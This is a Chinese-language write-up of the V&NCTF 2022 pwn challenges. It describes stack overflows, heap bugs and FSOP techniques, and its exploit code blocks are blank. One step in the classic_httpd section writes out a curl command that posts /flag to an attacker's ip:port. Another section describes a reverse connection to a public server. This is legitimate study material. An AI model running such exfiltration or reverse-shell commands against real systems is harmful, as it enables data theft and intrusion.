V&NCTF2022-pwn-wp

VNCTF-2022-pwn-wp
V&NCTF2022
比赛中 pwn
的题 wp
,更新完毕。
- 上午在
HideOnHeap
中浪费了太多的时间,尝试了好几个思路都失败了,以后还是不能太头铁(下次还敢 - 平时得多积累一些有用的函数或脚本,比如
_IO_str_finish
拿shell
的IO_FILE
构造函数
clear_got
checksec
没有给 libc
,后来测出来远程使用的版本是 libc6_2.23-0ubuntu10_amd64
。
漏洞点
main
函数就一个简单直接的栈溢出,但是 got
表被清空,没完全清空,还剩下__libc_start_main
。后面的 stdout
和 stdin
也都在数据段上。
利用思路
清空了 got
表,考虑使用 ret2syscall
,发现程序中有 syscall; ret
。这里主要是利用了一个 gadget
:
|
|
结合 end2
函数,正好可以泄露出 libc
地址后,执行构造 syscall
调用 read
函数,再重新给 got
表填上。最终思路为:
-
栈溢出并利用
end2
泄露出__libc_start_main
地址和_IO_2_1_stdout_
地址 -
使用 libc-search1或者 libc-search2查询出远程的
libc
版本 -
重新给
puts@got
填为system
-
调用
puts@plt
,实际执行system("/bin/sh")
获取shell
EXP
|
|
远程打:
easyROPtocol
这题其实本地很快出来了,但是远程打 10
次成功 1
次,搞不好中间哪一次就挂了,不知道是不是网的问题。每次 send 0x1000
个字节过去,要睡眠好长时间才能得到远程的回显,而且中间极容易挂,其实可以把报文长度调小一点,只要能打栈溢出就行。赛后尝试每次发送 0xe00
大小的字节过去,但还是挂 (真是要命
所以这题啊,多试试,试试就逝世。
checksec
没有开 PIE
和栈保护。远程的 libc
版本为:libc6_2.31-0ubuntu9.2_amd64
。
开启了沙箱:
漏洞点
在 submit
函数中,存在栈溢出:
利用思路
漏洞点很简单,关键是需要构造好报文,然后可以触发 submit
中的栈溢出漏洞。
分析出报文的组成为:
|
|
计算校验和就是把整个报文加上一个 fakeipheadfa
,每两个字节取整数,然后异或,最后得到的值填充到 check_sum
。
因此,利用思路总结如下:
- 构造好
4
个报文 - 利用栈溢出,使用
write
泄露出libc
地址(submit
函数溢出后rdx
为6
,正好可以泄露地址) - 再执行一次
main
函数 - 使用
libc
中的gadgets
,用orw
拿flag
EXP
|
|
远程打:
FShuiMaster
比较常规的题,有一说一,这一题做得最快。
checksec
保护全开,远程的 libc
版本为:libc6_2.27-3ubuntu1_amd64
。
漏洞点
在 Edit
函数,存在 off by null
:
利用思路
分析题目后得知,只能分配 largebin chunk
,可输入的范围大概处于 0x430 ~ 0x700
;增删改查都有。使用 largebin attack
结合一个 off by null
,然后打_IO_list_all
即可完成利用。1
思路总结如下:
- 利用
malloc
残存的地址,泄露出libc
地址和heap
地址。泄露堆地址可以用largebin chunk
上残存的地址。 largebin attack
,修改_IO_list_all
为堆地址exit(0) --> _IO_flush_all_lockp ---> IO_OVERFLOW
调用链完成利用。libc
版本不高,这里我使用的是_IO_str_finish
。
EXP
|
|
远程打:
classic_httpd
后悔了没有先看这个,这题似乎出得有点 bug
,对文件路径的校验存在问题,可以直接目录穿越拿到 flag
。
如题,想起最开始学 httpd
的时候看到的一个项目,虽然年代久远,但是很 classic
。
checksec
泄露地址后发现,远程的 libc
版本为:libc6_2.31-0ubuntu9.2_amd64
。
漏洞点
- 对
HTTP
报文请求行处理时候的bug
,可以直接读到flag
- 在
sub_1EB2
函数中,两处可以泄露地址:
- 在
sub_1EB2
函数中还有1
处可以任意地址写任意值:
利用思路
对于漏洞 1
,直接发送:
|
|
对于其他漏洞的思路:
首先分析出对应的结构体为:
|
|
处理流程梳理:
|
|
然后,总结思路如下:
- 泄露程序数据段地址,得到程序加载的基地址
- 泄露
libc
地址 - 修改
strcmp
为system
地址 - 构造报文,使远程执行命令
system("curl -X POST -F \"flag=@/flag\" ip:port")
,这里的ip:port
,可以是公网服务器的地址和监听端口,或者在buuoj
上用小号去linux basic
开个机器(这里没法用bash
反弹shell
,buu
之前修改规则。但是检测到有curl
,因此可利用该命令输出flag
)
EXP
|
|
远程打,利用漏洞 1
:
利用其他漏洞,首先在公网服务器上监听一个端口:
然后攻击:
得到 flag
:
BingDwenDwen
这题看都没看,没想到也是简单题
checksec
漏洞点
拍脸上的栈溢出:
利用思路
题目贴心的给出了需要的 gadgets
,那么直接创建 socket
,反向连接公网服务器即可。做这题的时候我在本地重新编译了一份。
EXP
|
|
远程打:
HideOnHeap
这题一开始思路错了,都没往 malloc_assert
上去想…… 想着有啥侧信道的技巧可以爆破出来,后来尝试了几个,均因为版本太高,没法利用。赛后看了 wp
,自己复现一遍。
checksec
远程的 libc
版本为:libc6_2.31-0ubuntu9.2_amd64
。
漏洞点
在 delete
分支有个 double free
利用思路
程序最开始,将 flag
读到了堆上,因此,要想办法泄露堆上的信息。那么在 assert
中,会调用__fxprintf(stderr, ...)
,这个时候只要劫持了 stderr
,则可进行 FSOP
。题目没有 IO
,没办法泄露地址,基本上把拿 shell
的路堵死了。此处借鉴 house of corrosion
的思路,和 house of husk
很像,都是打 global_max_fast
,然后用 fastbin chunk
进行操作读写。libc-2.31
对 one_gdaget
的执行条件更为严格。所以,最终还是走泄露这条路。
综上,利用思路为:
- 利用
house of botcake
构造overlapped chunk
,利用tcache bin poisoning
,爆破1/16
,修改global_max_fast
- 同上,分配到
stderr
结构体处,为修改flags
等做准备 - 利用大的
fastbin chunk
,修改stderr
的_IO_write_base/ptr/end
,保证_IO_write_base
距离flag
的堆地址很近 - 触发一个
assert
,我选择的是largebin chunk
入链时的assert(chunk_is_main_arena(p))
,此时会打印出flag
EXP
|
|
远程打:
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli

